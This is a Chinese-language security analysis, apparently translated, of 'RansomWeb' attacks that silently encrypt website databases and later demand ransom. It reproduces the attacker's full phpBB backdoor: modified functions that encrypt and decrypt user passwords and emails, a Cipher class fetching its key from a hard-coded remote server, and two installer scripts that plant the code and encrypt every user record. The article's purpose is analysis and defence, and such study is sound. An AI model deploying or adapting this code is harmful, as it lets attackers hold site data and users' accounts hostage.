原文地址:http://drops.wooyun.org/papers/4834

0x00 前言


目前越来越多的人称为勒索软件的受害者,恶意软件会加密你的计算机直到你愿意交保护费,最新的趋势发现,网站已经成为犯罪分子的攻击目标,犯罪软件会加密你的数据库直到你付钱。

enter image description here

source https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html

0x01 守候


2014.12.** 我们的安全专家在一个理财网站上发现一个很有趣的案例:网站一直显示无法连接数据库,而网站管理员收到一封勒索邮件,“给钱,然后我们会给你数据库解锁”。

遇到这种类型攻击的网站都是一些小型站点,但是公司的重点业务运营都是围绕网站进行了,停了分分钟几万,chinese一点地话来说,“互联网公司”。

我们认真的进行了调查,发现一下几点特点:

1 web应用程序在半年前被入侵,攻击者修改了一些需要进行数据库操作的脚本,在插入数据时对数据进行加密,在查询数据时对数据进行解密。整个过程 用户没有感到任何异样。

2 只对关键的数据库表被进行加密,将对网站性能的影响降到了最低,并且加密了之前被存入的数据库记录。

3 加密密钥被储存在远程服务器上,只能通过https访问(一定可能性是为了防止被拦截)

4 在这6个月,黑客默默地守候着网站,当一些升级和运维行为时对服务器进行备份。

5 在xxx天后,黑客关闭远程服务器,同时网站停止服务,and收到一封饱含着爱意的恶意邮件。

0x02 另一个案例


我们一开始相信这是一个针对部分公司进行的apt行为,属于一个特殊的个别案例,不过后来发现我们错了,上周我们又发现一个相似的例子,来自我们的另一个客户。他收到了一个勒索邮件。。。在他的phpbb论坛失灵之后。对于客户来说这个phpBB是一个非常重要的平台,版本还是2014年11月25日发布的phpBB 3.1.2 最新版。

最早问题来之于当时没有一个用户可以登录论坛,包括版主和管理员,用户的认证功能已经失效,在我们的调查下发现,登录时需要的密码和邮箱验证在插入数据裤的时候经过了一次加密。

我们发现下列文件遭到了修改。

1. factory.php


函数sql_fetchrow()遭到了修改,在进行sql查询

#!php
$result = $this->get_driver()->sql_fetchrow($query_id);

password 和 email字段会经过一次解密。

#!php
if(isset($result['user_password'])){ 
 $result['user_password'] = $cipher->decrypt($result['user_password']); 
} 
if(isset($result['user_email'])){ 
 $result['user_email'] = $cipher->decrypt($result['user_email']); 
}

2. functions_user.php


函数 user_add 经过修改之后 添加数据时会被加密

#!php
$sql_ary = array( 
 'username'=>$user_row['username'], 
 'username_clean' => $username_clean, 
 'user_password' => (isset($user_row['user_password']))? 
    $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''), 
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 
 'group_id' => $user_row['group_id'], 
 'user_type' => $user_row['user_type'], 
);

3. cp_activate.php


main 函数遭到修改

#!php
$sql_ary = array( 
 'user_actkey' => '', 
 'user_password' => $cipher->encrypt($user_row['user_newpasswd']), 
 'user_newpasswd' => '', 
 'user_login_attempts' => 0, 
);

4. ucp_profile.php


main函数。。。

#!php
if (sizeof($sql_ary)) 
{ 
 $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']); 
 $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
 $sql = 'UPDATE ' . USERS_TABLE . ' 
  SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' 
  WHERE user_id = ' . $user->data['user_id']; 
 $db->sql_query($sql);

5. config.php


#!php
class Cipher { 
 private $securekey, $iv; 
 function __construct($textkey) { 
  $this->securekey = hash('sha256',$textkey,TRUE); 
  $this->iv = mcrypt_create_iv(32); 
 } 
 function encrypt($input) { 
  return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
 } 
 function decrypt($input) { 
  return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
       $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
 } 
} 
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/ 
sdfds90f8d9s0f8d0f89.txt'); 
$cipher=new Cipher($key);

一个值得注意的是,我们发现黑客留下的两个可以自动化安装后门的脚本,可以对任意phpbb论坛植入后门程序,只需要几下点击,第一个修改 “config.php” 添加 cipher类在脚本中,其中可以看到 储存在远程服务器上的 密钥。

安装文件

#!php
<?php 
$file = '../config.php'; 
$txt = "\n".'class Cipher { 
 private $securekey, $iv; 
 function __construct($textkey) { 
  $this->securekey = hash(\'sha256\',$textkey,TRUE); 
  $this->iv = mcrypt_create_iv(32); 
 } 
 function encrypt($input) { 
  return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
     $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
  } 
 function decrypt($input) { 
  return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
     $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
 } 
} 
$key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/ 
sdfds90f8d9s0f8d0f89.txt\'); 
$cipher=new Cipher($key);'."\n"; 
if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){ 
 echo "DONE!"; 
};

第二个安装文件加密所有用户的 email和password,并替换上述文件。

#!php
<?php 
define('IN_PHPBB', true); 
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
$phpEx = substr(strrchr(__FILE__, '.'), 1); 
include($phpbb_root_path . 'common.' . $phpEx); 
include($phpbb_root_path . 'includes/functions_display.' . $phpEx); 
$sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE; 
$result = $db->sql_query($sql); 
while ($row = $db->sql_fetchrow($result)) 
{ 
 $sql2 = 'UPDATE ' . USERS_TABLE . ' 
  SET 
   user_password = "'.$cipher->encrypt($row['user_password']).'", 
   user_email = "'.$cipher->encrypt($row['user_email']).'" 
  WHERE user_id = '.$row['user_id']; 
 $result2 = $db->sql_query($sql2); 
} 
echo "SQL UPDATED!<br>"; 
copy('factory.php', '../phpbb/db/driver/factory.php'); 
copy('functions_user.php', '../includes/functions_user.php'); 
copy('ucp_activate.php', '../includes/ucp/ucp_activate.php'); 
copy('ucp_profile.php', '../includes/ucp/ucp_profile.php'); 
echo "FILES UPDATED!”;

接着攻击者等待两个月,就从远程服务器中取出密钥。

0x03 结论


我们称这种攻击为 RansomWeb , 我们做了一个简要的分析:

RansomWeb 的特点

1 与ddos不同,这种攻击会对网站的可用性造成长时间的巨大影响。

2 不仅可以用于勒索,还可以用于其他很多用途。

3 不给钱想从攻击中恢复很困难。

RansomWeb 的弱点

1 做下文件监控就好了

2 在不对网站造成影响的情况下加密极其困难。

3 定期检测更新